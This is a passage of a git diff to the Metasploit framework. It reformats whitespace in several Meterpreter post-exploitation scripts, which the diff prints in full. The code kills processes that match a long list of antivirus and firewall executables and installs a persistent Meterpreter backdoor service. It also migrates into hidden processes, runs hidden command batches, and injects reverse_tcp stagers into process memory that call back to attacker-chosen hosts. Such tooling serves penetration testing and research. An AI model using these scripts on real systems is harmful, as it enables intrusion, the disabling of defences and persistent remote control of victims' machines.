findviru.exe + firewall.exe + fnrb32.exe + fp-win.exe + fp-win_trial.exe + fprot.exe + frw.exe + fsaa.exe + fsav.exe + fsav32.exe + fsav530stbyb.exe + fsav530wtbyb.exe + fsav95.exe + fsgk32.exe + fsm32.exe + fsma32.exe + fsmb32.exe + gator.exe + gbmenu.exe + gbpoll.exe + generics.exe + gmt.exe + guard.exe + guarddog.exe + hacktracersetup.exe + hbinst.exe + hbsrv.exe + hotactio.exe + hotpatch.exe + htlog.exe + htpatch.exe + hwpe.exe + hxdl.exe + hxiul.exe + iamapp.exe + iamserv.exe + iamstats.exe + ibmasn.exe + ibmavsp.exe + icload95.exe + icloadnt.exe + icmon.exe + icsupp95.exe + icsuppnt.exe + idle.exe + iedll.exe + iedriver.exe + iexplorer.exe + iface.exe + ifw2000.exe + inetlnfo.exe + infus.exe + infwin.exe + init.exe + intdel.exe + intren.exe + iomon98.exe + istsvc.exe + jammer.exe + jdbgmrg.exe + jedi.exe + kavlite40eng.exe + kavpers40eng.exe + kavpf.exe + kazza.exe + keenvalue.exe + kerio-pf-213-en-win.exe + kerio-wrl-421-en-win.exe + kerio-wrp-421-en-win.exe + kernel32.exe + killprocesssetup161.exe + launcher.exe + ldnetmon.exe + ldpro.exe + ldpromenu.exe + ldscan.exe + lnetinfo.exe + loader.exe + localnet.exe + lockdown.exe + lockdown2000.exe + lookout.exe + lordpe.exe + lsetup.exe + luall.exe + luau.exe + lucomserver.exe + luinit.exe + luspt.exe + mapisvc32.exe + mcagent.exe + mcmnhdlr.exe + mcshield.exe + mctool.exe + mcupdate.exe + mcvsrte.exe + mcvsshld.exe + md.exe + mfin32.exe + mfw2en.exe + mfweng3.02d30.exe + mgavrtcl.exe + mgavrte.exe + mghtml.exe + mgui.exe + minilog.exe + mmod.exe + monitor.exe + moolive.exe + mostat.exe + mpfagent.exe + mpfservice.exe + mpftray.exe + mrflux.exe + msapp.exe + msbb.exe + msblast.exe + mscache.exe + msccn32.exe + mscman.exe + msconfig.exe + msdm.exe + msdos.exe + msiexec16.exe + msinfo32.exe + mslaugh.exe + msmgt.exe + msmsgri32.exe + mssmmc32.exe + mssys.exe + msvxd.exe + mu0311ad.exe + mwatch.exe + n32scanw.exe + nav.exe + navap.navapsvc.exe + navapsvc.exe + navapw32.exe + navdx.exe + navlu32.exe + navnt.exe + navstub.exe + navw32.exe + navwnt.exe + nc2000.exe + ncinst4.exe + ndd32.exe + neomonitor.exe + neowatchlog.exe + netarmor.exe + netd32.exe + netinfo.exe + netmon.exe + netscanpro.exe + netspyhunter-1.2.exe + netstat.exe + netutils.exe + nisserv.exe + nisum.exe + nmain.exe + nod32.exe + normist.exe + norton_internet_secu_3.0_407.exe + notstart.exe + npf40_tw_98_nt_me_2k.exe + npfmessenger.exe + nprotect.exe + npscheck.exe + npssvc.exe + nsched32.exe + nssys32.exe + nstask32.exe + nsupdate.exe + nt.exe + ntrtscan.exe + ntvdm.exe + ntxconfig.exe + nui.exe + nupgrade.exe + nvarch16.exe + nvc95.exe + nvsvc32.exe + nwinst4.exe + nwservice.exe + nwtool16.exe + ollydbg.exe + onsrvr.exe + optimize.exe + ostronet.exe + otfix.exe + outpost.exe + outpostinstall.exe + outpostproinstall.exe + padmin.exe + panixk.exe + patch.exe + pavcl.exe + pavproxy.exe + pavsched.exe + pavw.exe + pccwin98.exe + pcfwallicon.exe + pcip10117_0.exe + pcscan.exe + pdsetup.exe + periscope.exe + persfw.exe + perswf.exe + pf2.exe + pfwadmin.exe + pgmonitr.exe + pingscan.exe + platin.exe + pop3trap.exe + poproxy.exe + popscan.exe + portdetective.exe + portmonitor.exe + powerscan.exe + ppinupdt.exe + pptbc.exe + ppvstop.exe + prizesurfer.exe + prmt.exe + prmvr.exe + procdump.exe + processmonitor.exe + procexplorerv1.0.exe + programauditor.exe + proport.exe + protectx.exe + pspf.exe + purge.exe + qconsole.exe + qserver.exe + rapapp.exe + rav7.exe + rav7win.exe + rav8win32eng.exe + ray.exe + rb32.exe + rcsync.exe + realmon.exe + reged.exe + regedit.exe + regedt32.exe + rescue.exe + rescue32.exe + rrguard.exe + rshell.exe + rtvscan.exe + rtvscn95.exe + rulaunch.exe + run32dll.exe + rundll.exe + rundll16.exe + ruxdll32.exe + safeweb.exe + sahagent.exe + save.exe + savenow.exe + sbserv.exe + sc.exe + scam32.exe + scan32.exe + scan95.exe + scanpm.exe + scrscan.exe + serv95.exe + setup_flowprotector_us.exe + setupvameeval.exe + sfc.exe + sgssfw32.exe + sh.exe + shellspyinstall.exe + shn.exe + showbehind.exe + smc.exe + sms.exe + smss32.exe + soap.exe + sofi.exe + sperm.exe + spf.exe + sphinx.exe + spoler.exe + spoolcv.exe + spoolsv32.exe + spyxx.exe + srexe.exe + srng.exe + ss3edit.exe + ssg_4104.exe + ssgrate.exe + st2.exe + start.exe + stcloader.exe + supftrl.exe + support.exe + supporter5.exe + svc.exe + svchostc.exe + svchosts.exe + svshost.exe + sweep95.exe + sweepnet.sweepsrv.sys.swnetsup.exe + symproxysvc.exe + symtray.exe + sysedit.exe + system.exe + system32.exe + sysupd.exe + taskmg.exe + taskmgr.exe + taskmo.exe + taskmon.exe + taumon.exe + tbscan.exe + tc.exe + tca.exe + tcm.exe + tds-3.exe + tds2-98.exe + tds2-nt.exe + teekids.exe + tfak.exe + tfak5.exe + tgbob.exe + titanin.exe + titaninxp.exe + tracert.exe + trickler.exe + trjscan.exe + trjsetup.exe + trojantrap3.exe + tsadbot.exe + tvmd.exe + tvtmd.exe + undoboot.exe + updat.exe + update.exe + upgrad.exe + utpost.exe + vbcmserv.exe + vbcons.exe + vbust.exe + vbwin9x.exe + vbwinntw.exe + vcsetup.exe + vet32.exe + vet95.exe + vettray.exe + vfsetup.exe + vir-help.exe + virusmdpersonalfirewall.exe + vnlan300.exe + vnpc3000.exe + vpc32.exe + vpc42.exe + vpfw30s.exe + vptray.exe + vscan40.exe + vscenu6.02d30.exe + vsched.exe + vsecomr.exe + vshwin32.exe + vsisetup.exe + vsmain.exe + vsmon.exe + vsstat.exe + vswin9xe.exe + vswinntse.exe + vswinperse.exe + w32dsm89.exe + w9x.exe + watchdog.exe + webdav.exe + webscanx.exe + webtrap.exe + wfindv32.exe + whoswatchingme.exe + wimmun32.exe + win-bugsfix.exe + win32.exe + win32us.exe + winactive.exe + window.exe + windows.exe + wininetd.exe + wininitx.exe + winlogin.exe + winmain.exe + winnet.exe + winppr32.exe + winrecon.exe + winservn.exe + winssk32.exe + winstart.exe + winstart001.exe + wintsk32.exe + winupdate.exe + wkufind.exe + wnad.exe + wnt.exe + wradmin.exe + wrctrl.exe + wsbgate.exe + wupdater.exe + wupdt.exe + wyvernworksfirewall.exe + xpf202en.exe + zapro.exe + zapsetup3001.exe + zatutor.exe + zonalm2601.exe + zonealarm.exe } client.sys.process.get_processes().each do |x| - if (avs.index(x['name'].downcase)) - print_status("Killing off #{x['name']}...") - client.sys.process.kill(x['pid']) - end + if (avs.index(x['name'].downcase)) + print_status("Killing off #{x['name']}...") + client.sys.process.kill(x['pid']) + end end diff --git a/scripts/meterpreter/metsvc.rb b/scripts/meterpreter/metsvc.rb index fe56c49f72..7046e00561 100644 --- a/scripts/meterpreter/metsvc.rb +++ b/scripts/meterpreter/metsvc.rb @@ -8,21 +8,21 @@ session = client # Options # opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ false, "Uninstall an existing Meterpreter service (files must be deleted manually)"], - "-A" => [ false, "Automatically start a matching multi/handler to connect to the service"] + "-h" => [ false, "This help menu"], + "-r" => [ false, "Uninstall an existing Meterpreter service (files must be deleted manually)"], + "-A" => [ false, "Automatically start a matching multi/handler to connect to the service"] ) # Exec a command and return the results def m_exec(session, cmd) - r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - b = "" - while(d = r.channel.read) - b << d - end - r.channel.close - r.close - b + r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) + b = "" + while(d = r.channel.read) + b << d + end + r.channel.close + r.close + b end # @@ -36,85 +36,85 @@ autoconn = false remove = false if client.platform =~ /win32|win64/ - # - # Option parsing - # - opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line(opts.usage) - raise Rex::Script::Completed - when "-A" - autoconn = true - when "-r" - remove = true - end - end + # + # Option parsing + # + opts.parse(args) do |opt, idx, val| + case opt + when "-h" + print_line(opts.usage) + raise Rex::Script::Completed + when "-A" + autoconn = true + when "-r" + remove = true + end + end - # - # Create the persistent VBS - # + # + # Create the persistent VBS + # - if(not remove) - print_status("Creating a meterpreter service on port #{rport}") - else - print_status("Removing the existing Meterpreter service") - end + if(not remove) + print_status("Creating a meterpreter service on port #{rport}") + else + print_status("Removing the existing Meterpreter service") + end - # - # Upload to the filesystem - # + # + # Upload to the filesystem + # - tempdir = client.fs.file.expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8) + tempdir = client.fs.file.expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8) - print_status("Creating a temporary installation directory #{tempdir}...") - client.fs.dir.mkdir(tempdir) + print_status("Creating a temporary installation directory #{tempdir}...") + client.fs.dir.mkdir(tempdir) - %W{ metsrv.dll metsvc-server.exe metsvc.exe }.each do |bin| - next if (bin != "metsvc.exe" and remove) - print_status(" >> Uploading #{bin}...") - fd = client.fs.file.new(tempdir + "\\" + bin, "wb") - fd.write(::File.read(File.join(based, bin), ::File.size(::File.join(based, bin)))) - fd.close - end + %W{ metsrv.dll metsvc-server.exe metsvc.exe }.each do |bin| + next if (bin != "metsvc.exe" and remove) + print_status(" >> Uploading #{bin}...") + fd = client.fs.file.new(tempdir + "\\" + bin, "wb") + fd.write(::File.read(File.join(based, bin), ::File.size(::File.join(based, bin)))) + fd.close + end - # - # Execute the agent - # - if(not remove) - print_status("Starting the service...") - client.fs.dir.chdir(tempdir) - data = m_exec(client, "metsvc.exe install-service") - print_line("\t#{data}") - else - print_status("Stopping the service...") - client.fs.dir.chdir(tempdir) - data = m_exec(client, "metsvc.exe remove-service") - print_line("\t#{data}") - end + # + # Execute the agent + # + if(not remove) + print_status("Starting the service...") + client.fs.dir.chdir(tempdir) + data = m_exec(client, "metsvc.exe install-service") + print_line("\t#{data}") + else + print_status("Stopping the service...") + client.fs.dir.chdir(tempdir) + data = m_exec(client, "metsvc.exe remove-service") + print_line("\t#{data}") + end - if(remove) - m_exec(client, "cmd.exe /c del metsvc.exe") - end + if(remove) + m_exec(client, "cmd.exe /c del metsvc.exe") + end - # - # Setup the multi/handler if requested - # - if(autoconn) - print_status("Trying to connect to the Meterpreter service at #{client.session_host}:#{rport}...") - mul = client.framework.exploits.create("multi/handler") - mul.datastore['WORKSPACE'] = client.workspace - mul.datastore['PAYLOAD'] = "windows/metsvc_bind_tcp" - mul.datastore['LPORT'] = rport - mul.datastore['RHOST'] = client.session_host - mul.datastore['ExitOnSession'] = false - mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - end + # + # Setup the multi/handler if requested + # + if(autoconn) + print_status("Trying to connect to the Meterpreter service at #{client.session_host}:#{rport}...") + mul = client.framework.exploits.create("multi/handler") + mul.datastore['WORKSPACE'] = client.workspace + mul.datastore['PAYLOAD'] = "windows/metsvc_bind_tcp" + mul.datastore['LPORT'] = rport + mul.datastore['RHOST'] = client.session_host + mul.datastore['ExitOnSession'] = false + mul.exploit_simple( + 'Payload' => mul.datastore['PAYLOAD'], + 'RunAsJob' => true + ) + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/migrate.rb b/scripts/meterpreter/migrate.rb index 1444226ee0..37c6ee62d9 100644 --- a/scripts/meterpreter/migrate.rb +++ b/scripts/meterpreter/migrate.rb @@ -10,85 +10,85 @@ target_pid = nil target_name = nil opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-f" => [ false, "Launch a process and migrate into the new process"], - "-p" => [ true , "PID to migrate to."], - "-k" => [ false, "Kill original process."], - "-n" => [ true, "Migrate into the first process with this executable name (explorer.exe)" ] + "-h" => [ false, "Help menu." ], + "-f" => [ false, "Launch a process and migrate into the new process"], + "-p" => [ true , "PID to migrate to."], + "-k" => [ false, "Kill original process."], + "-n" => [ true, "Migrate into the first process with this executable name (explorer.exe)" ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-f" - spawn = true - when "-k" - kill = true - when "-p" - target_pid = val.to_i - when "-n" - target_name = val.to_s - when "-h" - print_line(opts.usage) - raise Rex::Script::Completed - else - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-f" + spawn = true + when "-k" + kill = true + when "-p" + target_pid = val.to_i + when "-n" + target_name = val.to_s + when "-h" + print_line(opts.usage) + raise Rex::Script::Completed + else + print_line(opts.usage) + raise Rex::Script::Completed + end } # Creates a temp notepad.exe to migrate to depending the architecture. def create_temp_proc() - sysinfo = client.sys.config.sysinfo - windir = client.fs.file.expand_path("%windir%") - # Select path of executable to run depending the architecture - if sysinfo['Architecture'] =~ /x86/ - cmd = "#{windir}\\System32\\notepad.exe" - else - cmd = "#{windir}\\Sysnative\\notepad.exe" - end - # run hidden - proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) - return proc.pid + sysinfo = client.sys.config.sysinfo + windir = client.fs.file.expand_path("%windir%") + # Select path of executable to run depending the architecture + if sysinfo['Architecture'] =~ /x86/ + cmd = "#{windir}\\System32\\notepad.exe" + else + cmd = "#{windir}\\Sysnative\\notepad.exe" + end + # run hidden + proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) + return proc.pid end # In case no option is provided show help if args.length == 0 - print_line(opts.usage) - raise Rex::Script::Completed + print_line(opts.usage) + raise Rex::Script::Completed end ### Main ### if client.platform =~ /win32|win64/ - server = client.sys.process.open - original_pid = server.pid - print_status("Current server process: #{server.name} (#{server.pid})") + server = client.sys.process.open + original_pid = server.pid + print_status("Current server process: #{server.name} (#{server.pid})") - if spawn - print_status("Spawning notepad.exe process to migrate to") - target_pid = create_temp_proc - end + if spawn + print_status("Spawning notepad.exe process to migrate to") + target_pid = create_temp_proc + end - if target_name and not target_pid - target_pid = client.sys.process[target_name] - if not target_pid - print_status("Could not identify the process ID for #{target_name}") - raise Rex::Script::Completed - end - end + if target_name and not target_pid + target_pid = client.sys.process[target_name] + if not target_pid + print_status("Could not identify the process ID for #{target_name}") + raise Rex::Script::Completed + end + end - begin - print_good("Migrating to #{target_pid}") - client.core.migrate(target_pid) - print_good("Successfully migrated to process #{}") - rescue ::Exception => e - print_error("Could not migrate in to process.") - print_error(e) - end + begin + print_good("Migrating to #{target_pid}") + client.core.migrate(target_pid) + print_good("Successfully migrated to process #{}") + rescue ::Exception => e + print_error("Could not migrate in to process.") + print_error(e) + end - if kill - print_status("Killing original process with PID #{original_pid}") - client.sys.process.kill(original_pid) - print_good("Successfully killed process with PID #{original_pid}") - end + if kill + print_status("Killing original process with PID #{original_pid}") + client.sys.process.kill(original_pid) + print_good("Successfully killed process with PID #{original_pid}") + end end diff --git a/scripts/meterpreter/multi_console_command.rb b/scripts/meterpreter/multi_console_command.rb index 4d19828ba9..9d32085387 100644 --- a/scripts/meterpreter/multi_console_command.rb +++ b/scripts/meterpreter/multi_console_command.rb @@ -9,9 +9,9 @@ # Setting Arguments @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."], - "-rc" => [ true,"Text file with list of commands, one per line."] + "-h" => [ false,"Help menu." ], + "-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."], + "-rc" => [ true,"Text file with list of commands, one per line."] ) #Setting Argument variables @@ -22,52 +22,52 @@ help = 0 ################## Function Declarations ################## # Function for running a list of commands stored in a array, returs string def list_con_exec(cmdlst) - print_status("Running Command List ...") - cmdout = "" - cmdlst.each do |cmd| - next if cmd.strip.length < 1 - next if cmd[0,1] == "#" - begin - print_status "\tRunning command #{cmd}" - @client.console.run_single(cmd) - rescue ::Exception => e - print_status("Error Running Command #{cmd}: #{e.class} #{e}") - end - end - cmdout + print_status("Running Command List ...") + cmdout = "" + cmdlst.each do |cmd| + next if cmd.strip.length < 1 + next if cmd[0,1] == "#" + begin + print_status "\tRunning command #{cmd}" + @client.console.run_single(cmd) + rescue ::Exception => e + print_status("Error Running Command #{cmd}: #{e.class} #{e}") + end + end + cmdout end def usage - print_line("Console Multi Command Execution Meterpreter Script ") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Console Multi Command Execution Meterpreter Script ") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end ################## Main ################## @@exec_opts.parse(args) { |opt, idx, val| - case opt + case opt - when "-cl" - commands = val.split(",") - when "-rc" - script = val - if not ::File.exists?(script) - raise "Command List File does not exists!" - else - ::File.open(script, "r").each_line do |line| - commands << line.chomp - end - end + when "-cl" + commands = val.split(",") + when "-rc" + script = val + if not ::File.exists?(script) + raise "Command List File does not exists!" + else + ::File.open(script, "r").each_line do |line| + commands << line.chomp + end + end - when "-h" - help = 1 - end + when "-h" + help = 1 + end } if args.length == 0 or help == 1 - usage + usage else - list_con_exec(commands) - raise Rex::Script::Completed + list_con_exec(commands) + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/multi_meter_inject.rb b/scripts/meterpreter/multi_meter_inject.rb index d6f6974ed7..e4719567a2 100644 --- a/scripts/meterpreter/multi_meter_inject.rb +++ b/scripts/meterpreter/multi_meter_inject.rb @@ -12,12 +12,12 @@ multi_pid = [] payload_type = "windows/meterpreter/reverse_tcp" start_handler = nil @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)"], - "-m" => [ false, "Start Exploit multi/handler for return connection"], - "-pt" => [ true, "Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp"], - "-mr" => [ true, "Provide Multiple IP Addresses for Connections separated by comma."], - "-mp" => [ true, "Provide Multiple PID for connections separated by comma one per IP."] + "-h" => [ false, "Help menu." ], + "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)"], + "-m" => [ false, "Start Exploit multi/handler for return connection"], + "-pt" => [ true, "Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp"], + "-mr" => [ true, "Provide Multiple IP Addresses for Connections separated by comma."], + "-mp" => [ true, "Provide Multiple PID for connections separated by comma one per IP."] ) meter_type = client.platform @@ -26,92 +26,92 @@ meter_type = client.platform # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for injecting a reverce tcp Meterpreter Payload" - print_line "in to memory of multiple PIDs, if none is provided a notepad process." - print_line "will be created and a Meterpreter Payload will be injected in to each." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for injecting a reverce tcp Meterpreter Payload" + print_line "in to memory of multiple PIDs, if none is provided a notepad process." + print_line "will be created and a Meterpreter Payload will be injected in to each." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Function for injecting payload in to a given PID #------------------------------------------------------------------------------- def inject(target_pid, payload_to_inject) - print_status("Injecting meterpreter into process ID #{target_pid}") - begin - host_process = @client.sys.process.open(target_pid.to_i, PROCESS_ALL_ACCESS) - raw = payload_to_inject.generate - mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) + print_status("Injecting meterpreter into process ID #{target_pid}") + begin + host_process = @client.sys.process.open(target_pid.to_i, PROCESS_ALL_ACCESS) + raw = payload_to_inject.generate + mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) - print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") - print_status("Writing the stager into memory...") - host_process.memory.write(mem, raw) - host_process.thread.create(mem, 0) - print_good("Successfully injected Meterpreter in to process: #{target_pid}") - rescue::Exception => e - print_error("Failed to Inject Payload to #{target_pid}!") - print_error(e) - end + print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") + print_status("Writing the stager into memory...") + host_process.memory.write(mem, raw) + host_process.thread.create(mem, 0) + print_good("Successfully injected Meterpreter in to process: #{target_pid}") + rescue::Exception => e + print_error("Failed to Inject Payload to #{target_pid}!") + print_error(e) + end end # Function for Creation of Connection Handler #------------------------------------------------------------------------------- def create_multi_handler(payload_to_inject) - mul = @client.framework.exploits.create("multi/handler") - mul.share_datastore(payload_to_inject.datastore) - mul.datastore['WORKSPACE'] = @client.workspace - mul.datastore['PAYLOAD'] = payload_to_inject - mul.datastore['EXITFUNC'] = 'process' - mul.datastore['ExitOnSession'] = true - print_status("Running payload handler") - mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true - ) + mul = @client.framework.exploits.create("multi/handler") + mul.share_datastore(payload_to_inject.datastore) + mul.datastore['WORKSPACE'] = @client.workspace + mul.datastore['PAYLOAD'] = payload_to_inject + mul.datastore['EXITFUNC'] = 'process' + mul.datastore['ExitOnSession'] = true + print_status("Running payload handler") + mul.exploit_simple( + 'Payload' => mul.datastore['PAYLOAD'], + 'RunAsJob' => true + ) end # Function for Creating the Payload #------------------------------------------------------------------------------- def create_payload(payload_type,lhost,lport) - print_status("Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}") - payload = payload_type - pay = client.framework.payloads.create(payload) - pay.datastore['LHOST'] = lhost - pay.datastore['LPORT'] = lport - return pay + print_status("Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}") + payload = payload_type + pay = client.framework.payloads.create(payload) + pay.datastore['LHOST'] = lhost + pay.datastore['LPORT'] = lport + return pay end # Function starting notepad.exe process #------------------------------------------------------------------------------- def start_proc() - print_good("Starting Notepad.exe to house Meterpreter Session.") - proc = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true }) - print_good("Process created with pid #{proc.pid}") - return proc.pid + print_good("Starting Notepad.exe to house Meterpreter Session.") + proc = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true }) + print_good("Process created with pid #{proc.pid}") + return proc.pid end ################## Main ################## @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-p" - lport = val.to_i - when "-m" - start_handler = true - when "-pt" - payload_type = val - when "-mr" - multi_ip = val.split(",") - when "-mp" - multi_pid = val.split(",") - end + case opt + when "-h" + usage + when "-p" + lport = val.to_i + when "-m" + start_handler = true + when "-pt" + payload_type = val + when "-mr" + multi_ip = val.split(",") + when "-mp" + multi_pid = val.split(",") + end } # Check for Version of Meterpreter @@ -122,24 +122,24 @@ create_multi_handler(payload_type) if start_handler # Check to make sure a PID or Program name where provided if multi_ip - if multi_pid - if multi_ip.length == multi_pid.length - pid_index = 0 - multi_ip.each do |i| - payload = create_payload(payload_type,i,lport) - inject(multi_pid[pid_index],payload) - select(nil, nil, nil, 5) - pid_index = pid_index + 1 - end - else - multi_ip.each do |i| - payload = create_payload(payload_type,i,lport) - inject(start_proc,payload) - select(nil, nil, nil, 2) - end - end - end + if multi_pid + if multi_ip.length == multi_pid.length + pid_index = 0 + multi_ip.each do |i| + payload = create_payload(payload_type,i,lport) + inject(multi_pid[pid_index],payload) + select(nil, nil, nil, 5) + pid_index = pid_index + 1 + end + else + multi_ip.each do |i| + payload = create_payload(payload_type,i,lport) + inject(start_proc,payload) + select(nil, nil, nil, 2) + end + end + end else - print_error("You must provide at least one IP!") + print_error("You must provide at least one IP!") end diff --git a/scripts/meterpreter/multicommand.rb b/scripts/meterpreter/multicommand.rb index 53f82eddb5..5a59549e29 100644 --- a/scripts/meterpreter/multicommand.rb +++ b/scripts/meterpreter/multicommand.rb @@ -7,10 +7,10 @@ session = client wininfo = client.sys.config.sysinfo # Setting Arguments @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."], - "-f" => [ true,"File where to saved output of command."], - "-rc" => [ true,"Text file with list of commands, one per line."] + "-h" => [ false,"Help menu." ], + "-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."], + "-f" => [ true,"File where to saved output of command."], + "-rc" => [ true,"Text file with list of commands, one per line."] ) #Setting Argument variables commands = [] @@ -21,83 +21,83 @@ help = 0 ################## Function Declarations ################## # Function for running a list of commands stored in a array, returs string def list_exec(session,cmdlst) - print_status("Running Command List ...") - tmpout = "" - cmdout = "" - r='' - session.response_timeout=120 - cmdlst.each do |cmd| - next if cmd.strip.length < 1 - next if cmd[0,1] == "#" - begin - print_status "\trunning command #{cmd}" - tmpout = "\n" - tmpout << "*****************************************\n" - tmpout << " Output of #{cmd}\n" - tmpout << "*****************************************\n" - r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - tmpout << d - break if d == "" - end - cmdout << tmpout - r.channel.close - #r.close - rescue ::Exception => e - print_status("Error Running Command #{cmd}: #{e.class} #{e}") - end - end - cmdout + print_status("Running Command List ...") + tmpout = "" + cmdout = "" + r='' + session.response_timeout=120 + cmdlst.each do |cmd| + next if cmd.strip.length < 1 + next if cmd[0,1] == "#" + begin + print_status "\trunning command #{cmd}" + tmpout = "\n" + tmpout << "*****************************************\n" + tmpout << " Output of #{cmd}\n" + tmpout << "*****************************************\n" + r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + tmpout << d + break if d == "" + end + cmdout << tmpout + r.channel.close + #r.close + rescue ::Exception => e + print_status("Error Running Command #{cmd}: #{e.class} #{e}") + end + end + cmdout end # Function for writing results of other functions to a file def filewrt(file2wrt, data2wrt) - output = ::File.open(file2wrt, "a") - data2wrt.each_line do |d| - output.puts(d) - end - output.close + output = ::File.open(file2wrt, "a") + data2wrt.each_line do |d| + output.puts(d) + end + output.close end def usage - print_line("Windows Multi Command Execution Meterpreter Script ") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Windows Multi Command Execution Meterpreter Script ") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end ################## Main ################## @@exec_opts.parse(args) { |opt, idx, val| - case opt + case opt - when "-cl" - commands = val.split(",") - when "-rc" - script = val - if not ::File.exists?(script) - raise "Command List File does not exists!" - else - ::File.open(script, "r").each_line do |line| - commands << line.chomp - end - end - when "-f" - outfile = val - when "-h" - help = 1 - end + when "-cl" + commands = val.split(",") + when "-rc" + script = val + if not ::File.exists?(script) + raise "Command List File does not exists!" + else + ::File.open(script, "r").each_line do |line| + commands << line.chomp + end + end + when "-f" + outfile = val + when "-h" + help = 1 + end } if args.length == 0 or help == 1 - usage + usage elsif commands or script - if outfile - filewrt(outfile, list_exec(session,commands)) - else - list_exec(session,commands).each_line do |l| - print_status(l.chomp) - end - end - raise Rex::Script::Completed + if outfile + filewrt(outfile, list_exec(session,commands)) + else + list_exec(session,commands).each_line do |l| + print_status(l.chomp) + end + end + raise Rex::Script::Completed else - usage + usage end diff --git a/scripts/meterpreter/multiscript.rb b/scripts/meterpreter/multiscript.rb index 01cfaf6791..92b54b5935 100644 --- a/scripts/meterpreter/multiscript.rb +++ b/scripts/meterpreter/multiscript.rb @@ -6,9 +6,9 @@ session = client # Setting Argument @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-cl" => [ true,"Collection of scripts to execute. Each script command must be enclosed in double quotes and separated by a semicolon."], - "-rc" => [ true,"Text file with list of commands, one per line."] + "-h" => [ false,"Help menu." ], + "-cl" => [ true,"Collection of scripts to execute. Each script command must be enclosed in double quotes and separated by a semicolon."], + "-rc" => [ true,"Text file with list of commands, one per line."] ) #Setting Argument variables commands = "" @@ -18,53 +18,53 @@ help = 0 ################## Function Declarations ################## # Function for running a list of scripts stored in a array def script_exec(session,scrptlst) - print_status("Running script List ...") - scrptlst.each_line do |scrpt| - next if scrpt.strip.length < 1 - next if scrpt[0,1] == "#" + print_status("Running script List ...") + scrptlst.each_line do |scrpt| + next if scrpt.strip.length < 1 + next if scrpt[0,1] == "#" - begin - script_components = scrpt.split - script = script_components.shift - script_args = script_components - print_status "\trunning script #{scrpt.chomp}" - session.execute_script(script, script_args) - rescue ::Exception => e - print_error("Error: #{e.class} #{e}") - print_error("Error in script: #{scrpt}") - end - end + begin + script_components = scrpt.split + script = script_components.shift + script_args = script_components + print_status "\trunning script #{scrpt.chomp}" + session.execute_script(script, script_args) + rescue ::Exception => e + print_error("Error: #{e.class} #{e}") + print_error("Error in script: #{scrpt}") + end + end end def usage - print_line("Multi Script Execution Meterpreter Script ") - print_line(@@exec_opts.usage) + print_line("Multi Script Execution Meterpreter Script ") + print_line(@@exec_opts.usage) end ################## Main ################## @@exec_opts.parse(args) do |opt, idx, val| - case opt + case opt - when "-cl" - commands = val.gsub(/;/,"\n") - when "-rc" - script = val - if not ::File.exists?(script) - raise "Script List File does not exists!" - else - ::File.open(script, "rb").each_line do |line| - commands << line - end - end - when "-h" - help = 1 - end + when "-cl" + commands = val.gsub(/;/,"\n") + when "-rc" + script = val + if not ::File.exists?(script) + raise "Script List File does not exists!" + else + ::File.open(script, "rb").each_line do |line| + commands << line + end + end + when "-h" + help = 1 + end end if args.length == 0 or help == 1 - usage + usage else - print_status("Running Multiscript script.....") - script_exec(session,commands) + print_status("Running Multiscript script.....") + script_exec(session,commands) end diff 